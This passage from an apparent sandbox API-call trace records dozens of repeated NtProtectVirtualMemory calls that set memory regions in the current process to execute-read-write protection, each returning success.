ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.900] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.320] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.677] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.693] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.709] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 